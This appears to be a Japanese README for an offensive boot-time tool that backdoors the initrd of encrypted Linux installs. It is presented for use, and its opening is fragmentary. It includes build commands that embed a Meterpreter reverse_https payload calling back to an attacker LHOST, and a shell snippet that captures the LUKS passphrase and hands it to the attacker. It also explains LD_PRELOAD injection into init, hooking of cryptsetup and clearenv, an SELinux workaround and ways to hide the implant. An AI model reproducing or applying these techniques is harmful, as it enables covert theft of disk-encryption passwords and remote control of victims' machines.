

.soファイルを/sbin/initに注入し、シェルを起動LD_PRELOAD .soをDefaultEnviromentに注入し、グローバルにロード、シェルを起動python/meterpreter/reverse_httpsgetenv PASSWORD)詳細や設定についてはMakefileを参照してください。コンパイル時にはmsfvenomがパイプで渡されるため、.soをビルドするには環境変数LHOSTが必要です。また、ビルドマシンにlibcrypsetup-dev(または同等のもの)がインストールされている必要があります。
一般的な手順(カレントディレクトリにISOイメージを生成):
LHOST=192.168.56.101 make rev.so iso
カーネルブートに以下のオプションが追加されています:
mc superuser nodhcp quiet loglevel=0
さらに、prompt値が0に設定され、完全自動実行が可能になっています。
不正なブートからバックドア化までの時間: 約2分 正規のブートからシェルまでの時間: 約90秒(設定可能。ネットワークが先に起動している必要があるため)
core.d は、以下のパッケージがマージされたTinyCoreの展開済みcore.gzです。
Core-current は、展開済みの Core-current.iso です。
以下のパッケージがtinycore内にインストールされています(Python、ファイルシステムサポート):
最低限のシグネチャは以下の通りです:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS はこのOSの一意な名前です。IDENTIFIER は、正しいinitrdに対して実行すると終了コード0を返し、それ以外では!0を返すシェルコマンドです。ROOT は、復号後に新しいルートがマウントされるフルパスまたは変数です。FILENAME は、ルートファイルシステム上にバイナリを配置するフルパスです。initrdがマウントするものと、後でマウントされるものを把握しておいてください。INITRDFILENAME は、initrd内部のバイナリのフルパスです。これはMakefile内でコピーされるため(cp ... core.d/...)、それと一致する必要があります。その後、*FILE、*PRE、*POSTの3つの組が、initrdに対してre.subとして実行されます(例:re.sub(*PRE, *POST, *FILE))。*PREと*POSTの内容は.format(**config[detectedOS])を使って展開されるため、シグネチャを自由に拡張してアイテムを注入できます。
実行できる置換の数に制限はありません。
*POST)内で\\1を使用すると、マッチ(*PRE)の全内容に展開されます。| $python/meterpreter/reverse_https Metasploitペイロードは、linux/*/meterpreter/reverse_tcpペイロードよりもプラットフォームに依存しないため選択されました。テストしたすべてのシステムでpythonがデフォルトでインストールされているようです。
デフォルトでは、ペイロードはコンパイル時に生成され、.cファイルに#defineとしてパイプで渡されます。これにより反復が容易になりますが、ペイロードを保存して手動で挿入することも難しくありません。
Debian系システム(Debian、Ubuntuなど)は、標準のgzip圧縮されたcpioイメージをinitramfsとして使用します。これには、システムをフルブートに準備するためのデフォルトの/initスクリプトが含まれています。これには、ユーザーにパスワードを要求し、暗号化されたルートファイルシステムをマウントする処理が含まれます。
.soを投入するために、ルートファイルシステムがマウントされるまで待機し(つまりユーザーがパスワードを入力した後)、.soを/devファイルシステムにコピーします。/devファイルシステムは、rootfsが切り替わる直前にアクセス可能であり、RAMベースのマウントであるため選択されました。これにより、.soがディスクに触れることはありません。
投入した.soを実際に使用するために、switch_root呼び出しでLD_PRELOAD環境変数を使用します。この変数はすべての子プロセスに渡され、その結果、最終的な/sbin/initスクリプトにモジュールがロードされます。これを比較的目立たなくするために、自身が/sbin/initにロードされているかどうかを確認し、ロードされている場合はLD_PRELOAD変数を解除して.soを削除します。この機能は、特定のアプリケーションをフックしたい場合には簡単に無効化できます。
.soの実行を強制するために、デフォルトではロード後に、gccフラグ-Wl,-init,shellを使用します。ここでshellはメイン関数です。これにより、.soの初期化時に呼び出す関数を指定します。これはWindowsのDllMainに類似したものと考えてください。
ユーザーにパスワードを要求し、ルートファイルシステムをマウントするinitスクリプトの該当部分は以下の通りです:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
ここで重要なのは、$cryptkeyscriptの出力が$cryptcreateにパイプされる部分です。$cryptkeyscriptはパスワード要求プログラムであり、$cryptcreateはディスクマウントプログラムです。このパイプにより、攻撃が非常に容易になります。パイプの箇所に以下のコードを挿入して、パスワードを.soの末尾に書き出します:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
これにより、パスワードが変数$Pに読み込まれ、.soの末尾に書き込まれると同時に再度エコー出力されます。このコードは$cryptkeyscriptと$cryptcreateの動作に対して透過的ですが、副作用としてパスワードが外部に漏洩します。パスワードの前にヌルバイト(シェルエスケープの多重レベルを考慮して\\\\\\\\x00)を付加します。これにより、.soは自身の末尾から逆方向にヌルバイトを見つけるだけでパスワードを読み戻せるため、非常に容易になります。
このパスワードを攻撃者に提供するために、ペイロードの呼び出し時に環境変数として使用されます。つまり、攻撃者はmeterpreterコマンドgetenv PASSWORDを使用するだけでパスワードを取得できます。
.soのロード方法により、/proc/1/mapsと/proc/1/environの両方にその参照が残ります。
mapsファイルはロードされたモジュールのリストです。以下の抜粋はこのファイルの内容を示しています。(deleted)という表記に注意してください。これが疑念を招く可能性があります。しかし、通常のバイナリと異なり、削除後はメモリから直接切り出さない限り.soにアクセスすることはできません。
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
environファイルは、呼び出し時の環境変数のNULL区切りリストです。呼び出し時のものであるため、実行時に行った変更(LD_PRELOADの解除など)は反映されません。
どちらの場合も、システム上のすべてのプロセスにフックできるため、read(2)関数をフックして自分自身への参照を削除することが可能です。
Kaliはやや特殊なケースです。後述する連鎖cpioを持っていますが、systemdを使用せずに起動します。そのため、DRACUT OSルールは盲目的に抽出するように一般化されており、その後、2番目のOS検出でKaliを捕捉します。
kernel/x86/microcode/GenuineIntel.binのみを含むcpioを持つOSを追加する場合、IDENTIFIERルールは追加されたcpio用にすべきです。自動的に見つけて抽出するためです。
これらのシステムは、Debian系システムとは異なるinitrdイメージの形式を持っています。/bootに保存されるinitrdファイルは、ほぼ空のcpioアーカイブであり、その後にgzip圧縮されたcpioアーカイブが追加されています。この2番目のアーカイブにinitramfsが含まれています。この2番目のアーカイブを展開するには、最初のcpioアーカイブを解析して末尾を見つける必要があります。あるいは、文字列TRAILER!!!を見つけ、gzipマジックバイト(\x1f\x8b)が見つかるまで読み進めることもできます。
これらのシステムのもう一つの違いは、systemdベースであることです。そのため、initramfs内の/init実行ファイルは、単純なshスクリプトではなく、systemdバイナリへのシンボリックリンクです。この制限を回避するには、ルートファイルシステムのマウントに関連する.serviceファイルを修正する必要があります。
usr/lib/systemd/system/initrd-switch-root.serviceには、新しく復号されたルートに移行するために使用されるスクリプトが含まれています。ExecStartPreプラグマを使用することで、移行前に他のプログラムを実行できます。
CentOSにはSELinuxが存在し、LD_PRELOADの使用を制限しています。動作するパスの1つは/libです。これは、/etc/selinux/targeted/modules/active/file_contextsファイルを読み取り、system_u:object_r:lib_tとラベル付けされた場所を探すことで特定されました。
systemdはルート切り替え前にclearenv()を呼び出すため、LD_PRELOAD変数が消去されます。これを回避するために、clearenv()をフックし、環境を常にLD_PRELOADのみに置き換えることができます。しかし、これを実現するには、initrd内でPID 1になる必要があります。このプロセスにLD_PRELOADすることはできないため、より困難です。これを回避するために、/initを以下のbashシェルスクリプトに置き換えました:
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
これは、/initが/usr/lib/systemd/systemdへのシンボリックリンクに過ぎないために機能します。execを使用することで、プロセスは親PID(1)を維持します。
これが実装され、clearenv()が無効化されると、新しいルート内の実際のPID 1に対してLD_PRELOADを設定できるようになります。
systemdは、暗号化ファイルシステムのパスワードをDebian系のinitスクリプトとは全く異なる方法で処理します。パスワードは、資格情報を送信できるUnixソケットを使用してやり取りされます。この複雑さを回避するために、パスワードにアクセスする最も簡単な方法は、libcryptsetupのcrypt_activate_by_passphrase関数をフックすることでした。関数宣言の関連部分は以下の通りです:
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
パスワードにアクセスするために、この関数をフックし、passphraseをファイルに保存し、dlsym(RTLD_NEXT, ...)で取得した元の関数を呼び出します。前述のとおり、パスワードを.soに追加したため、自身を解析してパスワードをmeterpreterで利用可能にできます。
前述の通り、.soは/proc/1/maps、/proc/1/environ、およびpsの出力に現れます。